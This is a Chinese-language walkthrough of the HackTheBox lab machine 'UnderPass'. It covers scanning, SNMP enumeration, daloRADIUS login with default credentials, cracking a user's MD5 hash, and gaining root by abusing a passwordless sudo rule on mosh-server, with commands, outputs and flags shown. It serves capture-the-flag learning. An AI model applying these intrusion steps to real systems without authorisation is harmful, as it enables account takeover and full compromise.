HTB:UnderPass[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用nmap对靶机UDP开放端口进行脚本、服务扫描
使用snmpwalk枚举靶机snmp服务信息
使用feroxbuster对靶机/daloradius路径FUZZ
使用ffuf对该路径再次FUZZ
使用Google检索该WebAPP默认凭证
边界突破
使用上述凭证登入/operators后台
将密码哈希扔进CrackStation尝试解密
使用ssh通过上述凭证登录靶机
权限提升
查看可sudo执行的文件
我尝试查询mosh的使用手册
配合sudo执行服务端文件尝试构造命令提权
连接至HTB服务器并启动靶机
分配IP:10.10.16.22
靶机IP:10.10.11.48
靶机Domain:underpass.htb
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a underpass.htb -r 1-65535 --ulimit 5000 | tee res
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -p22,80 -sCV -Pn underpass.htb
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --script=vuln -O -Pn underpass.htb
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn underpass.htb
使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p161 -sCV -Pn underpass.htb
使用snmpwalk枚举靶机snmp服务信息
snmpwalk -v1 -c public underpass.htb
- 其中我注意到字符串"UnDerPass.htb is the only daloradius server in the basin!"
使用feroxbuster对靶机/daloradius路径FUZZ
feroxbuster -u 'http://underpass.htb/daloradius' -w ../dictionary/Entire-Dir.txt -t 100 -T 10 -x php asp aspx jsp
- 由输出结果可见,大部分可访问路径都来自/daloradius/app
使用ffuf对该路径再次FUZZ
ffuf -u 'http://underpass.htb/daloradius/app/FUZZ' -w ../dictionary/Entire-Dir.txt -t 100
- 使用浏览器访问/users路径
- 使用浏览器访问/operators路径
使用Google检索该WebAPP默认凭证
账户:administrator
密码:radius
边界突破
使用上述凭证登入/operators后台
- 点击Management -> List Users可见一份用户凭证
账户:svcMosh
密码哈希:412DD4759978ACFCC81DEAB01B382403
将密码哈希扔进CrackStation尝试解密
账户:svcMosh
密码:underwaterfriends
- 或者使用john通过字典爆破
john hash --wordlist=../dictionary/rockyou.txt --format=Raw-MD5
使用ssh通过上述凭证登录靶机
ssh svcMosh@underpass.htb
- 在/home/svcMosh目录下可见user.txt文件
svcMosh@underpass:~$ ls
user.txt
svcMosh@underpass:~$ pwd
/home/svcMosh
svcMosh@underpass:~$ cat user.txt
8b8b1c902f2bf3f18f74412279ac73b1
权限提升
查看可sudo执行的文件
sudo -l
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
- 显然mosh-server是服务端文件,则mosh为客户端文件
我尝试查询mosh的使用手册
mosh -h
- 由输出可知,连接的命令格式:/usr/bin/mosh [options] [--] [user@]host [command...]
配合sudo执行服务端文件尝试构造命令提权
mosh --server="sudo /usr/bin/mosh-server" localhost
- 成功连接至本地且提权至root用户
- 在/root目录下找到root.txt文件
root@underpass:~# pwd
/root
root@underpass:~# ls
root.txt
root@underpass:~# cat root.txt
9be45072db6a8f849186867a1993cab8